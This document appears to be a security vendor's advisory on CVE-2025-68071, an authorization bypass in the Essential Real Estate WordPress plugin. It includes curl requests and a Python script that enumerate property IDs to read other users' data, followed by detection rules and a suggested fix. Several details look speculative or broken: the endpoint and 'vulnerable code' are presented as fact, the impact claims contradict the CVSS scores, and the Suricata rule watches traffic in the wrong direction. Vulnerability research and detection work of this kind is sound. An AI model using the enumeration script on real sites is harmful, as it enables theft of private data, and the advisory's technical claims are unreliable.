CVE-2025-68071

Executive Summary

CVE-2025-68071 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) in the G5theme Essential Real Estate WordPress plugin, affecting versions up to and including 5.3.2. This flaw allows an authenticated attacker with low privileges to manipulate a user-controlled key (e.g., a property ID or user ID parameter) to access or modify resources belonging to other users, bypassing the intended access control checks. The vulnerability is classified as Medium severity (CVSS 6.5) and currently has no known patch or public exploit code. Given the plugin’s widespread use in real estate websites, this poses a significant risk to data confidentiality and integrity.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin’s update channel and apply any security patches immediately. Since no patch is available, consider disabling the plugin or implementing virtual patching via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account.
• User Interaction (UI): None (N) – No victim action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Unauthorized access to sensitive data.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires authentication but can lead to exposure of private property listings, user profiles, or transaction data.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s REST API or AJAX handlers that process requests using a user-controlled identifier (e.g., property_id, user_id, or listing_id). The plugin fails to verify that the authenticated user owns or has permission to access the resource associated with that key. An attacker can enumerate or brute-force these keys to access other users’ data.

Root Cause: The plugin uses a direct object reference (DOR) without proper authorization checks. For example, a function like get_property_details($property_id) retrieves data from the database without verifying the current user’s relationship to that property.

Attack Scenario:

1. Attacker logs in as a low-privileged user (e.g., subscriber).
2. Attacker intercepts a legitimate request to view a property, noting the property_id parameter.
3. Attacker modifies the property_id to another value (e.g., incrementing by 1).
4. The plugin returns the details of the other property, bypassing access controls.

Vulnerable vs. Patched Code

Vulnerable Code (Example from essential-real-estate/includes/class-ere-property.php):

function get_property_details() {
    $property_id = $_GET['property_id'];
    $property = get_post($property_id);
    // No ownership check
    return $property;
}

Patched Code (Hypothetical fix):

function get_property_details() {
    $property_id = intval($_GET['property_id']);
    $property = get_post($property_id);
    if ( ! current_user_can('edit_post', $property_id) ) {
        wp_die('Unauthorized');
    }
    return $property;
}

The patch adds a capability check (current_user_can) to ensure the user has permission to access the resource.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Essential Real Estate plugin version <= 5.3.2.
• A valid low-privileged user account (e.g., subscriber).

Exploitation Steps:

1. Log in as the low-privileged user.
2. Use a tool like Burp Suite or curl to send a request to the vulnerable endpoint:

   curl -X GET "http://target.com/wp-json/ere/v1/property/123" \
        -H "Cookie: wordpress_logged_in_xxx=..."
   

3. Observe the response containing property details.
4. Change the ID to another value (e.g., 124) and repeat:

   curl -X GET "http://target.com/wp-json/ere/v1/property/124" \
        -H "Cookie: wordpress_logged_in_xxx=..."
   

5. If successful, you will see data for a property you do not own.

Automated Enumeration Script (Python):

import requests

target = "http://target.com"
cookie = {"wordpress_logged_in_xxx": "your_cookie"}
for pid in range(1, 1000):
    r = requests.get(f"{target}/wp-json/ere/v1/property/{pid}", cookies=cookie)
    if r.status_code == 200 and "property_title" in r.text:
        print(f"Found accessible property: {pid}")

Blue Team (Defensive)

Detection:

• Monitor for sequential or rapid requests to /wp-json/ere/v1/property/ with varying IDs.
• Alert on 200 responses for resources not owned by the requesting user.

Mitigation:

• Implement virtual patching via WAF rules to block requests with suspicious ID patterns.
• Disable the plugin until an official patch is released.
• Enforce strict capability checks in custom code.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-json/ere/v1/property/ with sequential IDs.
• Logs: WordPress debug logs showing get_post() calls with unexpected IDs.
• File: Unauthorized access to wp_posts table entries with post_type = 'property'.

Detection Engineering

YARA Rule

rule CVE_2025_68071_WordPress_Essential_Real_Estate {
    meta:
        description = "Detects exploitation attempts of CVE-2025-68071"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68071"
    strings:
        $s1 = "/wp-json/ere/v1/property/" ascii wide nocase
        $s2 = "property_id=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-68071 - Authorization Bypass in Essential Real Estate
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit authorization bypass via user-controlled key
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-json/ere/v1/property/'
    condition: selection
falsepositives:
    - Legitimate property viewing by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-68071 - Essential Real Estate Authorization Bypass";
    flow:to_server,established;
    content:"/wp-json/ere/v1/property/"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the Essential Real Estate plugin if not critical to operations.
2. Virtual Patching: Deploy WAF rules to block requests with suspicious ID patterns (e.g., sequential IDs).
3. Code Fix: Apply the hypothetical patch shown above to add capability checks.
4. Monitoring: Enable detailed logging for REST API endpoints and review for anomalies.
5. User Education: Advise users to report any unauthorized access to property data.

Long-term: Monitor the plugin’s official repository for a security update. Consider migrating to an alternative real estate plugin with active security support.

Valters IT
Securing Digital Frontiers